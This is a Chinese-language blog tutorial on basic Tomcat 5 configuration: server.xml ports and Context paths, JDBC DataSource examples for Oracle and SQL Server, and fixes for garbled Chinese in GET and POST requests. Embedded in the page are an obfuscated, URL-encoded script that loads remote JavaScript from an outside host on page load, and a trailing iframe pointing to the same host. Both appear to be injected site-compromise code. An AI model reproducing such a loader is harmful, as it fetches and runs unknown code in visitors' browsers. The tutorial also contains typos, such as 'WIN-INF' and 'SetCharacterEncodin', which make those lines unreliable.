Tomcat5的基本配置说明

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Tomcat5的基本配置说明




一、容器的配置(server.xml)
  主目录/conf下server.xml文件是对web服务器的配置:
  以下是一些常见的设置,http端口设置,找到:
  <Connector port="8080" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
        enableLookups="false" redirectPort="8443" acceptCount="100"
        connectionTimeout="20000" disableUploadTimeout="true" />
  把8080端口改为你喜欢使用并且当前没有使用的端口,以后就可以利用该端口来访问测试用的网站了。
  找到:
  Host name="localhost" appBase="webapps" unpackWARs="true" autoDeploy="true"
       xmlValidation="false" xmlNamespaceAware="false">
       ....
  </Host>
  在他们之间可以添加一个<Context>元素,如:
  <Context path="/new" reloadable="true" docBase="E:/java/new" workDir="E:/java/new/work" />
  其中path表示网络访问的上下文路径;reloadable表示可以在运行时在classes与lib文件夹下自动加载类包;docBase表示应用程序的路径,在Windows中如:docBase="E:/java/new";workDir表示是缓存文件的放置地点,可以方便跨平台移植时不用重编译,这样,应用程序就可以放到硬盘上的任意地方了。
  还有一个方法也可以做到这点:编写一个xml文件,然后放到Tomcat/conf/Catalina/相应的网站(如localhost)/下,如上:编写一个文件new.xml内容如下:
  <Context path="/new" reloadable="true" docBase="E:/java/new" workDir="E:/java/new/work" />
  放到Tomcat/conf/Catalina/localhost/下,在浏览器打开:
http://localhost/new
就会转向到E:/java/new程序。
二、JDBC配置
Oracle示例:
<!-- Global JNDI resources -->
  <GlobalNamingResources>
    <!-- Test entry for demonstration purposes -->
    <Environment name="simpleValue" type="java.lang.Integer" value="30"/>
    <Resource name="jdbcDemo" type="javax.sql.DataSource"/>
    <ResourceParams name="jdbcDemo">
      <parameter>
        <name>driverClassName</name>
        <value>oracle.jdbc.driver.OracleDriver</value>
      </parameter>
      <parameter>
        <name>username</name>
        <value>username</value>
      </parameter>
      <parameter>
        <name>password</name>
        <value>password</value>
      </parameter>
      <parameter>
        <name>url</name>
        <value>jdbc:oracle:thin:@127.0.0.1:1521:uid</value>
      </parameter>
      <parameter>
        <name>validationQuery</name>
        <value>select count(*) from dual</value>
      </parameter>
      <parameter>
        <name>maxWait</name>
        <value>5000</value>
      </parameter>
      <parameter>
        <name>maxActive</name>
        <value>20</value>
      </parameter>
      <parameter>
        <name>maxIdle</name>
        <value>2</value>
      </parameter>     
    </ResourceParams>
  </GlobalNamingResources> 
 MS SQL Server示例:
    <ResourceParams name="jdbcDemo">
      <parameter>
        <name>driverClassName</name>
        <value>com.microsoft.jdbc.sqlserver.SQLServerDriver</value>
      </parameter>
      <parameter>
        <name>username</name>
        <value>username</value>
      </parameter>
      <parameter>
        <name>password</name>
        <value>password</value>
      </parameter>
      <parameter>
        <name>url</name>
        <value>jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=dbName</value>
      </parameter>
      <parameter>
        <name>validationQuery</name>
        <value>select count(*) from sysobjects</value>
      </parameter>
      <parameter>
        <name>maxWait</name>
        <value>5000</value>
      </parameter>
      <parameter>
        <name>maxActive</name>
        <value>20</value>
      </parameter>
      <parameter>
        <name>maxIdle</name>
        <value>2</value>
      </parameter>     
    </ResourceParams>
三、Tomcat5中文解决
  对于中文系统主要有以下问题:
  1、表单提交的数据,用request.getParameter("xxx")返回的字符串为乱码或为???;
  2、直接通过url如:
http://localhost/test.jsp?name
=中国,这样的get请求在服务端用request.getParameter("name")时返回的也是乱码。
  原因:
  1、Tomcat的J2EE实现对表单提交即POST方式时处理参数采用缺省的iso-8859-1来处理;
  2、Tomcat的get方式提交的请求对query-string处理时采用了和post不一样的处理方式。
  解决办法:
  首先给所有的JSP文件都加上:<%@ page contentType="text/html;charset=gb2312" %>
  1、post方法:
  先实现一个Filter,设置处理字符集为GBK。(在Tomcat的webapps/servlet-examples目录有一个完整的例子,参考web.xml和SetCharacterEncodingFilter的配置)。
  1)、把$TOMCAT/webapps/servlets-examples/WIN-INF/classes/filters/SetCharacterEncodingFilter.class文件copy到应用程序/WIN-INF/filters下,如果没有filters目录,就创建一个。
  2)、在web.xml里加入以下几行:
  <filter>
    <filter-name>Set Character Encoding</filter-name>
    <filter-class>filters.SetCharacterEncodingFilter</filter-class>
    <init-param>
      <param-name>encoding</param-name>
      <param-value>GBK</param-value>
    </init-param>
  </filter>
 
  <filter-mapping>
    <filter-name>Set Character Encoding</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  3)、完成。post方法还可以在编程时,在用到request的前面添加语句:
  <%request.SetCharacterEncodin("GBK");%> 也可以解决中文问题。
  2、get方式的解决办法:
  1)、打开server.xml文件,找到区块:
  <Connector port="80" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
        enableLookups="false" redirectPort="8443" acceptCount="100"
        debug="0" connectionTimeout="20000" disableUploadTimeout="true"
        URIEncoding="GBK" />
  加上一句URIEncodeing="GBK",如上所示。
  2)、重启Tomcat,乱码就可解决。 
参考URL:
http://youngergo.bokee.com/viewdiary.10830811.html

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值